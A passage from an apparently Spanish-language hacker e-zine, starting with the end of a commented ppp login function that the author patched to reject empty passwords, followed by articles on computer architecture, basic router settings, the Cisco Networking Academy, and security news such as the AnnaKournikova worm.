#include <shadow/pwauth.h>
#endif


Static int login(usuario, passwd, msg, largomsg)
Char *usuario;
Char *passwd;
Char **msg;
Int *largomsg; // definición de los argumentos de la función.
{
struct passwd *pw; // define puntero a la estructura del registro
char *epasswd; // puntero a lo que será la pass encriptada
char *tty; // puntero a la terminal que se logeara

#ifdef USE_SHADOW
struct spwd *spwd;
struct spwd *getspnam();
#endif


if((pw=getpwnam(usuario))==NULL) return(UPAP_AUTHNAK);

/* se asigna el valor a la estructura apuntada por pw, con el valor del
registro del usuario correspondiente, usando la función getpwnam() y se
compara al tiro con NULL, si es verdadero, quiere decir que el usuario no se
encontró y el login se rechaza. */



#ifdef USE_SHADOW
spwd = getspnam(usuario);
if(spwd) pw->pw_passwd = spwd->sp_pwdp;
#endif

if(pw->pw_passwd == '\0') return(UPAP_AUTHNAK);

/* se compara el campo de password con NULL, si es verdadero, no hay
password en el campo y el logeo es rechazado ahora por problemas de
seguridad(en el archivo original, esto NO viene corregido) */



#ifdef HAS_SHADOW
if((pw->pw_passwd && pw->pw_passwd[0] == '@' && pw_auth(pw->
pw_passwd+1, pw->pw_name, PW_LOGIN, NULL)) || ?valid(passwd,pw)) {
return(UPAP_AUTHNAK);
}
#else
epasswd = crypt(passwd, pw->pw_passwd);

/* encripta el password con la semilla del password original. */


if(strcmp(epasswd, pw->pw_passwd)) return(UPAP_AUTHNAK);

/* si son distintos los dos string( epasswd, el password encriptado(instrucción
pasada) y el password original del fichero se rechaza el login, si a estas
alturas aun no se ha rechazado, el sistema reconoce el password como
correcto */

#endif

syslog(LOG_INFO, "user %s logged in", usuario);

/* logea la entrada del usuario en la constante definida por LOG_INFO */


tty = strrchr(devname,'/');
if(tty==NULL) tty=devname;
else tty++;
logwtmp(tty,usuario,"");
logged_in=TRUE;
return(UPAP_AUTHACK);

/* calcula la terminal de logeo y crea un log, luego retorna la función
diciendo que el logeo ha sido exitoso */

}

---------------------fin auth.c(corregido)-------------------------

En este archivo se corrigió el que se aceptara el logeo sin password, porque
sino seria muy fácil para usuarios conseguir una shell por el servidor
de ppp. Para compilar este archivo se necesita editar el archivo 'Makefile'
de la siguiente manera(agregar):
LIBS = -lshadow
Y se modifica la línea que dice:
COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t
Por:
COMPILE_FLAGS = -I.. -D_linux_=1 -DGIDSET_TYPE=gid_t -DUSE_SHADOW

Toda la información contenida en este texto esta escrita solo con fines
educativos, el mal uso de esta es completa responsabilidad del lector.

Autor : z0rbas
Titulo : Passwords en UNIX
E-mail : z0rbas@usa.net





,øñ°`´°ñø¸
-<[ 12 ]>-
`°ñø,¸,øñ°

Autor : Kraptor
Titulo : Estudio y Analisis de un Computador
E-mail : kraptor@usa.net
Contenido : Muchos de nosotros encontramos cierta adicion y aficion a sentarse
frente al computador, pero en realidad ¿ sabemos como es que funciona ?; al
parecer es un misterio o una zona prohibida, entender la organizacion y el
funcionamiento, pero resulta que no es tan asi.

Es por eso que he querido comenzar a presentar y a introducirnos en lo que son
los computadores, partiendo quizas de lo mas basico a algunas cosas mas
complejas.

No he querido analizar lo que son los aspectos mas globales de un compurtador
tales como el teclados. mouse etc... no valdria la pena.

Bueno ahi nos vamos con esta primera parte de este tema que resulta ser
bastante interesante.


ESTRUCTURA INTERNA DE UN COMPUTADOR.

En general el computador, como toda maquina, debe disponer de una estructura
interna para su funcionamiento.

Cada vez que presionamos el boton de arranque de nuestro tarro, se inicia la
operacion de autodiagnostico y puesta en marcha (bootstrap). Solo cuando esta
concluido se transfiere el control de la computadora al sistema operativo (y
pensar que hay algunos que le pasan este control a microsoft ) y se puede
iniciar alguno de los programas de aplicacion, cuyas instrucciones empezarán a
ser ejecutadas secuencialmente, es decir, una tras otra. La unidad central de
procesos (CPU) gobierna el computador y es la encargada de dirigir los
diferentes elementos a traves de los buses o canales de informacion.
La memoria es la zona donde se almacenan temporalmente la informacion entrante
y la elaborada a partir de ella. Para extraer la informacion se dispone de
circuitos de entrada y salida, que se encargan del dialogo entre la unidad
central y los perifericos.

Si analizamos lo que ocurrio en nuestro tarro desde que apretamos el boton de
arranque o power, diferenciamos cuatro bloques:

- Puesta en marcha.
- Unidad central de procesos
- Unidad de memoria.
- Controladores
- Interfaces de entrada/salida.

Aer que pasa con cada uno de ellos. (La puesta en marcha la dejare para mas
adelante porque pa explicarla se necesitan ciertos conceptos que a lo mejor no
manejas).

UNIDAD CENTRAL DE PROCESOS(CPU).

Esta formada por circuitos electronicos capaces de desarrollar funciones de
control y calculo aritmetico y logico. Todos estos circuitos se hallan siempre
integrados en un solo microprocesador o un microcomputador, segun sea la
estructura interna.

BUSES.

La CPU se comunica con todas las posiciones de memoria y todos los perifericos
de la computadora atraves de vias o canales formados por grupos de conductores
llamados buses.

Los buses mas comunes en las computadoras son:

Bus de datos (Data bus): En el viajan los datos de una parte a otra del
tarro. En este bus los datos pueden ser de entrada o salida con respecto a
la CPU, memoria y controladores de entrada/salida.

Bus de direcciones (Address bus): Tiene la funcion de seleccionar las
distintas partes del computador.La CPU puede seleccionar mediante este bus
una dirección de la memoria para posteriormente leer los datos k contiene.
Con respecto a la cpu siempre es un bus de salida.

Bus de control (Control Bus): En este bus viajan las señales de control de
todo el sistema. Con respecto a la CPU, este bus puede ser de entrada o de
salida, puesto que la CPU, ademas de controlar las unidades perifericas a
la misma, puede recibir informacion sobre cual es el estado de una
determinada unidad.


Otra forma de comunicacion entre la CPU y los perifericos es mediante el
multiplexor (que???), que permite que dos o mas perifericos se comuniquen con
la CPU por el mismo canal y al mismo tiempo (parece chavo del ocho la cuestion)

Ahora si bien sabemos cuales son los buses, ahora debemos entender como es el
direcionamiento o seleccion de los bloques que viajan en por lo buses.

Todos los bloques de que se compone un computador pueden comunicarse
independientemente con la CPU, a traves del mismo bus de direcciones. Estos
bloques permanecen <<dormidos>>, es decir, inhabilitados, hasta que la CPU le
ordena a uno de ellos que <<despierte>>, es decir que lo habilita. Para ello,
la CPU los direciona precisamente mediante el bus de direcciones.

Cada uno de los bloques que componen un computador, a excepcion de la CPU,
tiene una direccion asignada. Esta direccion obviamente es diferente para cada
una de las unidades.

Cuando la CPU desea dialogar con una unidad, coloca en el address bus, la
direccion que corresponde a la unidad, mas el bus de direcciones llega siempre
a todas las unidades. Cada vez que la CPU ponga una direccion en el bus esta
sera captada y controlada por todas las unidades direccionables por el
computador, pero solo hara una unidad que,al coincidir su direccion con la que
viaja por el bus, sea la que establezca el dialogo con la CPU (Es como si el
tuviera un mensaje que entregar y se lo cuenta a todos, pero solo se pone a
dialogar con el de la direccion correcta)

Si la CPU pone en su bus de las direcciones de 8 bits el valor 2E (hexadecimal)
o binario (00101110=, tan solo se habilitara la unidad cuya direccion es 2E.En
este momento, la CPU podra enviarle datos o pedir informacion. Este es el
proceso que se conoce como direccionamiento o seleccion (si no cachai lo de
hexadecimal o binario, hechale un vistazo a la parte de Numeracion Decimal y
binaria).


UNIDADES DE MEMORIA.

Como todos deben imaginar, si es que la tele aun no les carcome toda su
imaginacion, las memorias son elementos capaces de almacenar informacion. Las
memorias del computador estan divididas en celdas. Cada celda tiene una
direccion especifica. Las memorias normalmente estan organizadas como una
matriz, en la que hay filas y columnas. Cada celda puede ser direccionada por
la CPU y esta compuesta de otras ocho celdas elementales, cada una de las
cuales puede tomar un valor de 0 o 1.De esta forma,en cada celda direccionable
podemos guardar 1 byte de informacion. (Recordemos que 1 byte son 8 bits).

CAPACIDAD.

La capacidad de una memoria se define como el numero maximo de bytes que
podemos guardar en ella. Depende directamente del numero de celdas y el
numero de bits que tenga esta.

Aer, pa que se entienda : Si tenemos una memoria de 8 columnas por cuatro
filas (matrices), entonces dispondremos de 32 celdas. Si suponemos que
cada celda puede memorizar 8 bits, en total tendremos una capacidad de
32 x 8 = 256 bits. Comunmente no sale asi, sino que en bytes. En este
ejemplo la capacidad sera de 32 bytes.

GRABACION/LECTURA.

Cuando se ha direccionado una posicion de memoria, la CPU puede efectuar
una lectura o una grabacion de datos.
Una vez direccionada una posicion para una operacion de lectura, la
memoria toma el contenido de la celda direccionada y lo coloca en su
salida unida al bus de datos.

Si es una operacion de grabacion, el dato que ha de grabarse debe estar
disponible en el bus de datos (que es entrada y salida), a la entrada de la
memoria,de donde esta ultima lo toma para depositarlo en la celda direccionada.

CLASIFICACION DE LAS MEMORIAS.

Las memorias se pueden clasificar segun diversos criterios, ya sea por su
funcion o por el modo de funcionamiento.

Nos remitiremos a la funcion que tienen en el computador, ya que es la manera
estandar que se tiene.

Asi es como encontramos:

MEMORIAS CENTRALES: Son dispositivos que sirven para almacenar los
programas que se quieren ejecuta, así como los datos, los calculos
intermedios y los resultados; todos ellos son accesibles a la
Unidad de control y a la unidad aritmeticologica. Tambien se le
conoce a la memoria central como memoria principal de trabajo o
interna.

TIPOS DE MEMORIAS CENTRALES:

Las memorias de circuitos integrados son las utilizadas actualmente.
Son rapidas y de acceso directo. Las mas importantes son:

Memoria RAM : (Random access memory), aqui se puede grabar y leer
datos. Es una memoria de tipo volatil, cuyo contenido se borra al
cortarse el suministro de energia.

A su vez encontramos que se distinguen diferentes tipos de la RAM
dependiendo de la posicion que ocupan en el mapa de memoria. Así
encontramos la memoria superior, la expandida, la extendida y la
alta.

La memoria convencional de un tarro, que comprende de 0 a 1024K,
es aquella en donde se se ejecutan todos los programas del
sistema operativo.

La memoria superior, por su parte, es la zona de la emoria
convencional comprendida entre 640K y 1024K. Los 384K de la
memoria superior se emplean para almacenar rutinas basicas del
sistema informatico, como son aquellas que controlan el tarro
desde el momento en que se enciende, o las que afectan a la
entrada y salida de datos o a la memoria video (que permite
almacenar los caracteres que se visualizan en el monitor y la
informacion numerica que indica como debe aparecer, es decir:
colores de caracter y del fondo en que aparece, intensidad de
color,etc).

La memoria expandida o memoria EMS,es una tecnica que permite que
el sistema operativo trabaje con una memoria superior a los 1024K
de la memoria convencional.

La memoria extendida es una memoria propia de los computadores
x86, y que es superior a la convencional, es decir sobre los
1024K, solo se alcanza con aplicaciones como windows, no con DOS.
Obviamente los sistemas UNIX si las alcanzan.

Finalmente la memoria alta, es aquella comprendida entre los
1024K y los 1088Ky , al igual que la memoria extendida solo
trabaja en pc de la gama x86.


Memoria ROM : (Read Only Memory),estas son de solo lectura. No es
posible grabar ningun dato en estas memorias;se trata de memorias
no volatiles,cuyo contenido se graba durante su construccion y no
se puede cambiar.

Memorias PROM : Tal como su nombre lo indica, programable ROM,
estas memorias son programables. Se entregan virgenes al
programador y este se encarga de violarlas...


Memorias EPROM : Erasable PROM.Se trata de una PROM que puede ser
borrada mediante rayos ultravioletas.

Memorias RPROM : Reprogrammable ROM, esta se pueden borrar y ser
reprogramadas.



MEMORIAS DE ALMACENAMIENTO MASIVO: Son memorias de almacenamiento de
datos que no permiten el acceso inmediato del programa a ellos; para que
esto suceda es necesario un paso previo, consistente en la lectura de la
informacion deseada y su colocacion en la memoria central de la maquina.
A esta memoria se le conoce tambien como memoria secundaria o externa.



CONTROLADORES:

Los controladores son circuitos integrados que forman parte de las estructura
hardware del tarro. Son circuitos que ayudan a la CPU a desarrollar y agilizar
su labor.

Podemos clasificar los controladores de la siguiente manera.



- Controlador interfaz serie/paralelo
- Controladores de unidades de disquete
o de disco duro.
Unidades perifericas - Controladores de pantalla.
| - Controladores de teclado.
| - Controladores de comunicaciones.
Controlador
|
|
Unidades internas. - Controlador de acceso a la memoria.
- Controladores de interrupciones en la CPU.

Hagamos una breve mirada a ciertos controladores, que son mas importantes.


Controlador de acceso a la memoria (DMA controller).

Con la ayuda de este controlador la CPU, se descarga de sus
funciones de control, mientras hay un intercambio de informacion entre la
unidad de memoria interna, sea RAM o ROM, y una unidad externa o periferica.

Este controlador puede considerarse como un ayudante de la unidad central. Así
mientras el controlador de acceso a la memoria cumple el cometido asignado, la
CPU puede efectuar otro proceso dentro de la tarea que le ha sido encomendada.

Controlador de interrupciones.

En todo proceso de elaboracion de datos intervienen distintas
unidades internas o externas a la computadora. Cada una de estas unidades es
gestionada por un controlador particular.

Si una de estas unidades desea enviar un mensaje a la unidad central de
proceso de datos, para indicar que necesita mas datos, recorrera el camino que
se indica seguidamente:

1.- Envia una peticion a la CPU.

2.- La CPU recibe la peticion, interrumpe el trabajo que
esta realizando y le envia una señal de aceptacion de
la peticion.

3.- La unidad periferica a traves de su controlador, al
recibir la aceptacion, inicia el dialogo con la unidad
central.

4.- Terminado el intercambio de informacion entre la unidad
externa y la unidad central, la CPU sigue con el
programa donde quedo interrumpido.

El controlador de interrupciones se situa en el punto primero de
este proceso. Recibe las peticiones de interrupcion, enviadas por las unidades
perifericas, establece un orden de prioridad y envia una interrupcion a la
unidad central.


INTERFACES Y CIRCUITOS DE ENTRAA/SALIDA.

Los puertos o interfaces de entrada/salida,se utilizan para establecer
la comunicacion entre la unidad central de procesos de datos (CPU) y el mundo
externo.

Estos puertos en funcion de su utilidad se pueden dividir en dos grandes
bloques:
- Interfaz o puerto serie.
- Interfaz o puerto paralelo.

Aunque creo que todos saben que funcion tienen estos puertos, daremos un
pequeño vistazo, pa aquellos que son mas volados.

Interfaz serie : Significa que los bits de informacion viajan uno despues del
otro y por el mismo cable de conexion. Este tipo de puerto es menos costos que
el puerto paralelo pero en contraposicion es mas lento y se utiliza en
comunicacines a larga distancia (pa los modems, y obvio pal mouse) .

Interfaz paralelo: Significa que todos los bits de informacion viajan
simultaneamente al periferico. En este puerto, a cada pulso de reloj se envia
un byte al periferico. Este tipo de puerto se utiliza en comunicaciones a
corta distancia, como puede ser de la computadora a la impresora, o de la
computadora a una unidad zip, etc.


Y bien lo que les debia : PUESTA EN MARCHA (BOOTSTRAP)

Tambien se conoce a esta rutina de prueba como POST (Power On Self Test)
Nuestro Tarro, dispone de unos pequeños programas dispuestos en en
memoria no volatil y de acceso solo en lectura (ROM) para el control y
preparacion de los componentes del tarro

Estos programas son utilizados pa los siguientes fines:

- Como preparacion de la CPU y de los controladores presentes en la
computadora. Por ejemplo el controladores de las unidades de disketes,
controladores interfaz serie y paralelo, controlador de las
interrupciones, etc.

- Como diagnostico de la CPU y de los controladore. Ademas este
diagnostico comprueba toda la memoria del computador, que luego habra
de recibir los datos y los programas.

- Control de ciertos perifericos que se consideran comunmente parte de
la estructura del computador, teclados, y pantalla.


Ahora bien, si tenemos un computador << muerto >>, y no sabemos que es lo que
esta fallando, al iniciar la puesta en marcha quizas no nos indique que es lo
ques esta fallando. Para ello, existe una herramienta que nos ahorraria mucho
tiempo. Es una tarjeta lectora del codigo POST ( Rutina de autodiagnostico
despues de aplicar potencia), la cual tiene una rutina que forma parte de un
programaque contiene la memoria ROM, llamada BIOS ( Rutina basica de
entrada/salida).

Bueno, en fin hasta aqui llego con el temita, que al fin y al cabo se me
anduvo alargando, ya pal proximo numero creo que estaría tirando lo que son:
la placa base o madre, las ranuras de ampliacion, las interrupciones, los
accesos directos a la memoria, y algo breve de las comunicaciones. Ahhh! y
si resulta de interes tiro la tarjeta POST pa los que quieren resucitar esos
tarros viejos que tienen por ahi en la casa...

Cualquier duda o reclamo, mandala a mi e-mail no mas, desde ahi tratare de
ayudarte.

Autor : Kraptor
Titulo : Estudio y Analisis de un Computador
E-mail : kraptor@usa.net

,øñ°`´°ñø¸ 
-<[ 13 ]>-
`°ñø,¸,øñ°

Autor : ViC3nT
Titulo : Routers (ReFerencia Basica)
E-mail : vic3nt@hotmail.com
Comentario: Aca ViC3nT de nuevo metiendo las narices, ahora veremos una
Referencia basica de un router

Contenido : Para comenzar explicaremos que es un router.

Un router es un equipo de comunicacion el cual es utilizado para rutear, o
buscar las rutas expeditas de un punto a otro, se pueden definir rutas o el
mismo router se encarga de buscarlas segun los parametros dados en la
configuracion, el router puede actuar como un firewall, filtrando todas los
paquetes que llegan a el, o los paquetes indicados en su configuracion.

Existen Routers para empresas pequen~as,comunmente son routers ISDN o del tipo
DSL y dan enlace a toda la red de la empresa a la que esta conectada y a una
velocidad determinada por el proveedor del router.

Otros se utilizan para traficos gigantescos de enlaces, y tienen
caracteristicas mas avanzadas que los routers mas pequen~os,como transductores
consola de administracion. Estos los utilizan los ISP para comunicar varias
redes de su host o para recibir el enlace de sus proveedores de enlace, si es
que tienen.

Comenzaremos con la consola de un router, recordemos que es un manual basico,
y solo indica cuales son las variables y en ningun caso ensen~a como hacerlo
funcionar solo es para tener una idea.

1.-General Setup.
Aca configuramos el nombre del router y a quien pertenece, mas que nada
informacion que no sirve.

2.-Dial Up Setup
Recordems que un router para empresas se conecta a Internet por una ISDN o por
DSL, asi que tiene que hacer una conexion del tipo ppp, aca se configura el
numero de telefono al cual se conecta el router y el tipo de conexion.

3.-Ethernet Setup
Comunmente aqui va la configuracion TCP/IP del router, aca indicamos si va a
recibir su direccion de un servidor DHCP o vamos a indicarla nosotros, se
configura la mascara de la red y todo lo que tenga que ver con las direcciones.

4.-Internet Setup
Aca SE Configura el Username y Password en caso de que la conexion se haga con
un username o ua password, el tipo de conexion y la velocidad.

5.- Remote Node
Aca se define el nodo remoto, o sea donde llega el router al conectarse.

6.- Static Route
Se Define una ruta estatica si se desea, si no, dejamos en blanco,el router se
encarga de hacerlo.

7.-Nat Setup
ACa activamos si queremos hacer NAT con la red, es conveniente, pero poco
practico.

8.-Filter Configuracion
Aca filtramos, se pueden filtrar puertos especificos, o sea que los
requerimientos a puertos los deseche o los reenvie a un PC especifico de la
red, esto es util si es que tenemos una red con ips privadas y tenemos
servidor web, mail o lo que sea, entonces le decimos al filtro, si llega un
requerimiento al puerto 80, envialo a este equipo..
fig 1.1


INTERNET----------------ROUTER===requerimiento puerto 110======== 10.0.0.0/MAIL
|
requerimiento
puerto 80
|
|
10.0.0.1/WEB


9.- SNMP Setup
Aca seteamos el monitoreo por medio de SNMP, hay varios monitores que hacen
esto, tales como el what'sup o el Bigbrother, estos revisan el snmp del router
y ven si esta caido o no.

10.- Maintenance
Aca es donde se ve el mantenimiento del router, los logs, si queremos volver a
0 con el router, si queremos entrar en modo consola,etc, todo lo que tenga que
ver con mantenimiento.

11.- Security
Para cambiar la contrasen~a de ingreso al router, nada mas que eso.

12.- exit
obvio.

Bueno, eso seria esta corta referencia a la configuracion de un router hay que
tener cuidado con las rutas estaticas que se definen, puede pasar que en vez
de apurar la conexion del router de un nodo a otro la demore.
Seria todo y hasta la proxima.

=ViC3Nt BlaCk=

Autor : ViC3nT
Titulo : Routers (ReFerencia Basica)
E-mail : vic3nt@hotmail.com





,øñ°`´°ñø¸
-<[ 14 ]>-
`°ñø,¸,øñ°

Autor : Cisco
Titulo : The Cisco Networking Academy Program:
Where it came from and where it is going
E-mail : ciscogroup@usa.net


To understand the Cisco Networking Academy Program, you need to understand how
it came into existence.

In 1993, I was hired by Cisco Systems as a network design engineer focused on
public K-12 education. Primarily my job was to design and to help implement
networks within this market sector across North America. This proved to be a
huge challenge because of a lack of trained support personnel within public
education to support these large-scale networks. At that point, I developed a
four-day training class developing basic networking skills,and I offered it to
many of our K-12 customers. This process worked very well, but it soon exposed
the next problem:there were not enough trained staff! At that point we focused
on the next level of personnel available within the school district:
- The students.

After conducting several training classes with students it became obvious that
they were technology magnets, absorbing concepts and labs and wanting more.
The students had no fear of the technologies involved in networking systems.
Several of the districts involved in this experiment requested that we look at
creating a formal curriculum that could be inserted into normal class
scheduling. The original training was 5 eight-hour days. Thus the Cisco
Networking Academy Program was born.

Since then we learned that the networking industry is not the only industry
that speaks a specialized language. We at Cisco are learning all about
pedagogy, curriculum task analysis and sequencing, psychometrically sound
testing, rubrics, student reflection, stems and distracters,national and local
educational standards, and much more. I, for one,have developed a deep respect
for anyone in the teaching profession; it seems to be a never-ending learning
curve.

From the very beginning we have said that this type of a program has to be a
partnership with education. Webster's Dictionary defines partnership as "a
close relationship between parties having specified and joint rights and
responsibilities." The Cisco Networking Academy Program is a partnership
between education and Cisco Systems, with both of us having responsibilities
to ensure that the students receive the best possible education in
networking. What Cisco brings to this partnership is knowledge of networking
technologies and a desire to create a world class curriculum that will help
future generations of students develop employable skills. You in the
education field bring the knowledge and skills of the best teaching
practices and educational program implementation. I feel that the key to a
successful program will be an open communication channel between all of us.

To that extent, I am very interested in hearing ideas on how we can improve
these communication channels. I would like to know what other topics you
would like to see in these forums or what other methods of communication
need to be put in place. Those of you that know me understand my motto is
"don't just bring me the problems, bring me the solutions also, and we
will implement them."

Cisco's commitment to this program is long-term and comes from the highest
levels of management within Cisco. Both John Morgridge, Chairman of the
Board, and John Chambers, President and CEO, have publicly stated their
support of the Cisco Networking Academy Program. We in the curriculum and
assessment department are committed to continually refining and enhancing the
curriculum content. Starting in October, we will begin evaluating and redoing
semester 1 per your input, and then move on to semesters 2, 3 & 4. We are very
interested in your ideas on content, labs and other activities that you have
implemented that help reinforce concepts in the curriculum. I believe this
process of enhancement will be an annual cycle;as new technologies emerge they
will be inserted into the curriculum.

On the horizon is the development of four more semesters, targeted for post
K-12 institutions. The focus of this curriculum is another level of
certification called CCNP (Cisco Certified Networking Professional). More
details on this program will be posted soon in the Networking Academy Zone.

This additional phase of the Cisco Networking Academy Program program
re-emphasizes our long-term commitment to educational programs that raise the
technical knowledge level of students.

Autor : Cisco
Titulo : The Cisco Networking Academy Program:
Where it came from and where it is going
E-mail : ciscogroup@usa.net




,øñ°`´°ñø¸
-<[ 15 ]>-
`°ñø,¸,øñ°

Autor : bAnkZide & meth0dist
Titulo : UnderNews
Fuentes : Packetstorm - CNN - Hispasec - Emol - El Mostrador



Hackers Tienen Nuevo Apodo en Uk
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Los hackers tienen un nuevo apodo ahora en el Reino Unido: cyberterroristas.
Bajo la ley de terrorismo promulgada en la ley que empieza lunes, se castigaran
personas que ponen en peligro las vidas a traves de la manipulacion de sistemas
computacionales publicos bajo la ley de anti-terrorismo, como si se tratara de
cualquier otro terrorista.

"No hay una seccion especifica que se trate del cybercrimen como a tal, se cubre
dentro de las varias secciones, pero cualquiera que en serio interfiera, o
en serio rompe un sistema electronico, se le juzgara bajo la ley de
anti-terrorismo," dijo un portavoz de la Home "Office", que es la seccion
gubernamental que vigila la inmigracion y el crimen.



Nuevo Bug de Microsoft
^^^^^^^^^^^^^^^^^^^^^^

Microsoft ha identificado otro agujero de seguridad en su software de e-mail
"Outlook Express" y ha dicho que un patch esta disponible para el fallo tecnico.
El fabricante del software puso a disposicion un patch (otro mas!!) para el
Outlook y sus clientes. El agujero de seguridad permitiria a los hackers usar
una vCard para desactivar el Outlook o ejecutar un codigo a traves de el.

Como evidencia de la rapida difusion del virus kournikova, los usuarios son muy
deseosos de abrir los "attachments", especialmente de extra~os.



Codigo Criptografico Irrompible
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Expertos en criptologia estan alerta sobre un profesor de Harvard que dice que
puede hacer un codigo irrompible que puede usarse una y otra vez. El profesor
de ciencias en computacion Michael Rabin junto con un alumno con un doctorado,
desarrollaron una formula matematica que expertos dicen que podria ser usada
para crear un codigo indecifrable ni por los computadores mas poderosos del
mundo.

"Nosotros estamos haciendo algo que es aparentemente imposible, y es sumamente
excitante," Rabin dijo.
El metodo que usa Rabin, ocupa un arroyo de caracteres al azar generados, que
pueden descifrarse con una formula matematica. Una vez el mensaje se descifra,
el arroyo desaparece, mientras que no deja nada para poder ser descifrar dijo
Rabin. La llave puede reusarse en un mensaje diferente tambien.

"Los codigos irrompibles se han creado antes, pero ellos eran para solo ser
usados una vez" dicen los expertos.

Rabin dijo que el no esta planeando mercantilizar el sistema todavia. Si el lo
hace, podria usarse por las corporaciones, gobiernos o cualquier grupo que
quisieron guardar la informacion confidencial.

Richard Lipton, profesor de informatica en la Universidad de Princeton, dijo que
el ha visto la formula y esta convencido de que podria funcionar. Lipton dijo
que el logro mas significante de Rabin estaba en demostrar sus ideas
matematicamente.
"Aunque la idea parece obvia, hay bastante matematica dura en ella".

"Hay unos lugares en que yo necesitaria investigar mucho mas antes de que yo
aceptara estas declaraciones" dijo Richard Kaye, profesor de matematica en la
Universidad de Birmingham en Inglaterra. Kaye estuvo en los titulares de un
diario cuando discutio que jugar al Buscaminas podria llevar a una forma de
crackear codigos eficientemente.

Ni siquiera los partidarios como Lipton, creen que el trabajo de Rabin creara
un codigo que es para siempre irrompible. Algun dia, ellos dicen que las
computadoras podran guardar bastante informacion para dar con el codigo de Rabin.

"Se vuelve una carrera de armas, asi como esta con el descubrimiento del virus o
las defensas contra proyectiles" dijo Lipton.



HotMail con problemas frente a los virus
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Segun anuncia la prestigiosa publicacion online ZDNet, HotMail presenta graves
deficiencias en la deteccion de virus,todo indica que el motor antivirus con que
cuenta el popular entorno de correo e-mail gratuito lleva seis meses sin
actualizarse. Segun indica ZDNet el escaner antivirus de Hotmail se muestra
incapaz de detectar una virus como Emmanuel, todo indica que este filtro lleva
seis meses sin ningun tipo de actualizacion. Al contactar con Microsoft y McAfee
respecto a la vulnerabilidad encontrada en los servidores de Hotmail, la firma
antivirus indico que se trataba de un fallo de Microsoft, que la firma de Redmon
rehusaba realizar la implementacion de las nuevas actualizaciones. En la
actualidad, seis dias despues de que el problema fuera reportado a los tecnicos
de Microsoft, el problema sigue sin corregir. El escaner antivirus de HotMail no
intercepta el virus Emmanuel.

El problema radica en que igual que HotMail no detecta este virus, no detecta
virus gusanos y troyanos que hayan aparecido en los ultimos seis meses, con el
problema que ello conlleva.



Los incidentes de seguridad se doblan en un a~o
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Los dos equipos de atencion a incidentes de seguridad en Espa~a, IRIS-CERT y
esCERT, la llamada "policia de Internet", han detectado en el ultimo a~o un
destacable aumento de los intentos de acceso ilegal a ordenadores. Casi la mitad
habran quedado por resolver. A pesar de haberse doblado las incidencias respecto
a 1999, los expertos huyen de alarmismos y lo achacan al general crecimiento de
la red. A estas alturas, algo como los escaneos de puertos, que recaban
informacion para entrar en una maquina, se han convertido ya en un "ruido" mas
de Internet, al estilo del correo basura. Para comprobarlo, solo es necesario
instalarse un cortafuegos personal e indicarle que genere un aviso cada vez que
alguien busque agujeros en el ordenador. Le llegaran decenas. Y no tiene porque
ser nada personal: cualquiera puede estar, ahora mismo, poniendo en marcha un
robot escaneador contra miles de conexiones desconocidas, solo por probar.



AnnaKournikova
^^^^^^^^^^^^^^
¿fracaso de la comunidad antivirus? El ultimo virus de gran propagacion, alias
"AnnaKournikova", pone en entredicho la utilidad de muchas de las soluciones
antivirus existentes en el mercado. El virus es el resultado de usar un kit
de creacion automatica, que permite dise~ar gusanos sin necesidad de saber
programar y que se conoce desde agosto de 2000. Para colmo se ha contado con
la "colaboracion ciudadana", ya que son muchos los usuarios que se han dejado
engañar por practicamente un "remake" del archiconocido "ILOVEYOU".
"AnnaKournikova" esta creado con " Vbs Worms Generator ", un kit de creacion
automatica desarrollado por un argentino apodado [K]Alamar, que permite dise~ar
gusanos a golpe de raton con tan solo seleccionar ciertas caracteristicas en un
menu de configuracion.
Segun las ultimas noticias,fue un joven holandes quien genero el"AnnaKournikova"
aprovechando esta utilidad. El autor es lo de menos, lo peor es que provocar
un caos mundial esta al alcance de cualquiera que sepa manejar Windows. En estos
momentos tenemos que "agradecer" que el joven no pulsara en la opcion de
payload (efecto) dañino, ya que a juzgar por la propagacion alcanzada hubiera
causado perdidas multimillonarias entre empresas y usuarios.



Atacan sitios de gobierno uruguayo
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Hackers atacaron un sitio de Internet del ministerio de Ganaderia, Agricultura y
Pesca de Uruguay, agrandando la lista de servicios "online" que fueron afectados
en el ultimo a~o, informo el jueves un portavoz del gobierno uruguayo. El sitio
www.mgap.gub.uy fue interferido el miercoles por piratas supuestamente de origen
brasile~o que dejaron inscripciones y simbolos anarquistas, incluyendo la
proclama "Anarquia por siempre", dijo a Reuters un portavoz del ministerio. Este
sitio no fue la unica victima de los piratas. Meses atras fue atacado el sitio
web del ministerio de Trabajo y Seguridad Social (www.mtss.gub.uy), en el que
aparecieron inscripciones de protesta por el desempleo que afecta al pais, de 14
por ciento de la fuerza laboral.



Redes inalambricas, la nueva forma de propagacion de virus
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

Gene Hodges, presidente de McAfee, anuncio que "el 2005 los virus se propagaran
a traves de dispositivos inalambricos". Los millones de internautas que accedan
a las red a traves de estos aparatos transmitiran rapidamente los temidos virus
iformaticos. Segun el maximo ejecutivo de McAfee es necesario prestar atencion
a la proteccion de las redes de las organizaciones, pero al mismo tiempo
monitorear las nuevas amenazas que han aparecido con la masificacion de los
dispositivos inalambricos y sus redes, ya que estos tambien pueden ser afectados
por los virus.Los pronosticos del mercado indican que para el 2005 existiran mas
de 1.200 millones de internautas en el mundo,de los cuales el 62% seran usuarios
de sistemas inalambricos que pueden ser infectados.Frente a esta nueva tendencia
en la propagacion de los virus, Network Associates esta desarrollando sistemas
que permiten desinfectar virus de manera global y asi reaccionar ante las nuevas
amenazas a escala mundial.


Autor : bAnkZide & meth0dist
Titulo : UnderNews
Fuentes : Packetstorm - CNN - Hispasec - Emol - El Mostrador




,øñ°`´°ñø¸
-<[ 16 ]>-
`°ñø,¸,øñ°


Autor : El Editor
Titulo : ZZZZzzzzzzZZZZZzzzzZZZZZzzzz!
Comentario: No duermas mas y atrevete a mandar tu articulo, que no te preocupe
el nivel del contenido solo haslo! y participa en esta nueva aventura, tambien y
de paso dare el aviso de alguien que se quiera ofrecer en la creacion de logos,
banner`s publicitarios, gif`s animados, etc... Manden sus dudas, comentarios,
articulos, preguntas, criticas, logos, dinero, etc, etc, a:

- electron_team@usa.net

